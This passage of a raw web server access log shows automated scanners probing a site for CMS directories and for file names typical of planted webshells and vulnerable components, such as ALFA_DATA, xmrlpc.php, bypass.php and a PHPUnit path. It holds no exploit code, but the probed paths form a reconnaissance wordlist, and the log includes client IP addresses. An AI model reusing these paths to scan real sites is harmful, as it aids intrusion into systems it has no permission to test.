"www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:09:49 -0400] "GET /wp-includes/js/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:09:50 -0400] "GET /wp-includes/php-compat/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:09:53 -0400] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:09:55 -0400] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:09:57 -0400] "GET /wp-includes/random_compat/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:10:00 -0400] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:10:03 -0400] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:10:05 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:10:14 -0400] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:10:16 -0400] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:10:19 -0400] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:10:21 -0400] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:10:25 -0400] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:10:28 -0400] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:10:29 -0400] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:10:30 -0400] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:10:32 -0400] "GET /admin/images/slider/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:10:36 -0400] "GET /admin/fckeditor/editor/filemanager/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:10:38 -0400] "GET /sites/default/files/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:10:40 -0400] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:10:42 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:10:44 -0400] "GET /components/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:10:46 -0400] "GET /admin/uploads/images/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:10:48 -0400] "GET /wp-includes/js/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:10:50 -0400] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:10:51 -0400] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:10:53 -0400] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:10:56 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:10:59 -0400] "GET /wp-admin/images/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:11:06 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:11:12 -0400] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:11:16 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:11:19 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:11:23 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:11:26 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:11:29 -0400] "GET /wp-content/themes/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:11:34 -0400] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:11:40 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.251.167.122 - - [27/Apr/2025:13:11:44 -0400] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 132.232.165.4 - - [27/Apr/2025:13:34:00 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 216.131.110.214 - - [27/Apr/2025:14:24:10 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 85.203.44.88 - - [27/Apr/2025:14:52:58 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 89.235.79.29 - - [27/Apr/2025:15:28:06 -0400] "GET / HTTP/1.1" 301 795 "https://www.google.ca" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36" 52.178.152.247 - - [27/Apr/2025:15:32:37 -0400] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:32:41 -0400] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:32:42 -0400] "GET /.well-knownold/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:32:42 -0400] "GET /admin/uploads/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:32:43 -0400] "GET /Admin/uploads/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:32:45 -0400] "GET /wp-includes/Requests/Transport/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:32:46 -0400] "GET /wp-includes/Requests/Exception/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:32:48 -0400] "GET /wp-includes/sodium_compat/src/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:32:51 -0400] "GET /wp-content/mu-plugins-old/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:32:53 -0400] "GET /modules/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:32:54 -0400] "GET /wp-includes/rest-api/fields/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:32:55 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:32:56 -0400] "GET /uploads/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:32:57 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:33:00 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:33:02 -0400] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:33:03 -0400] "GET /upload/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:33:05 -0400] "GET /images/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:33:07 -0400] "GET /wp-includes/SimplePie/Content/Type/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:33:08 -0400] "GET /wp-includes/Requests/Cookie/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:33:09 -0400] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:33:10 -0400] "GET /wp-includes/html-api/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:33:11 -0400] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:33:12 -0400] "GET /wp-comments-post.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:33:13 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:33:14 -0400] "GET /Assets/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:33:16 -0400] "GET /wp-includes/php-compat/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:33:17 -0400] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:33:18 -0400] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:33:19 -0400] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:33:20 -0400] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:33:21 -0400] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:33:22 -0400] "GET /local/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:33:24 -0400] "GET /wp-includes/Requests/Auth/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:33:26 -0400] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:33:27 -0400] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:33:28 -0400] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:33:29 -0400] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:33:29 -0400] "GET /images/stories/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:33:30 -0400] "GET /wp-includes/Text/Diff/Engine/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:33:32 -0400] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:33:32 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:33:33 -0400] "GET /Site/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:33:35 -0400] "GET /template/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:33:37 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:33:38 -0400] "GET /assets/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:33:40 -0400] "GET /wp-includes/Text/Diff/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:33:41 -0400] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:33:42 -0400] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:33:44 -0400] "GET /admin/images/slider/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:33:45 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:33:46 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:33:47 -0400] "GET /files/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:33:48 -0400] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:33:50 -0400] "GET /wp-includes/Requests/Utility/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:33:51 -0400] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:33:52 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:33:53 -0400] "GET /wp-includes/Text/Diff/Engine/Engine/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:33:54 -0400] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:33:55 -0400] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:33:56 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:33:57 -0400] "GET /wp-includes/Requests/Response/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:33:58 -0400] "GET /wp-includes/rest-api/search/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:33:59 -0400] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:34:00 -0400] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:34:00 -0400] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:34:01 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:34:03 -0400] "GET /vendor/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:34:04 -0400] "GET /system/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:34:07 -0400] "GET /admin/fckeditor/editor/filemanager/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:34:09 -0400] "GET /wp-includes/rest-api/endpoints/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:34:11 -0400] "GET /wp-includes/random_compat/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:34:12 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:34:15 -0400] "GET /wp-content/themes/classic/inc/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:34:17 -0400] "GET /wp-content/plugins/ninja-forms/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:34:18 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:34:19 -0400] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:34:20 -0400] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:34:21 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:34:21 -0400] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:34:23 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:34:24 -0400] "GET /plugins/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:34:25 -0400] "GET /wp-includes/Requests/Proxy/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:34:26 -0400] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:34:27 -0400] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:34:28 -0400] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:34:29 -0400] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:34:30 -0400] "GET /wp-includes/js/crop/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:34:31 -0400] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:34:32 -0400] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:34:32 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:34:33 -0400] "GET /upload/image/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:34:34 -0400] "GET /php/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:34:35 -0400] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:34:36 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:34:38 -0400] "GET /wp-includes/SimplePie/Content/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:34:40 -0400] "GET /wp-includes/Requests/Exception/HTTP/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:34:43 -0400] "GET /components/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:34:44 -0400] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:34:46 -0400] "GET /Public/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:34:47 -0400] "GET /admin/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:34:49 -0400] "GET /admin/uploads/images/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:34:50 -0400] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:34:51 -0400] "GET /assets/images/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:34:52 -0400] "GET /shop/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:34:53 -0400] "GET /wp-includes/SimplePie/Cache/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:34:54 -0400] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:34:56 -0400] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:34:57 -0400] "GET /include/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:34:57 -0400] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:34:58 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:34:59 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:35:00 -0400] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:35:01 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:35:01 -0400] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:35:02 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:35:03 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:35:05 -0400] "GET /atomlib.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:35:07 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 52.178.152.247 - - [27/Apr/2025:15:35:09 -0400] "GET /bypass.php 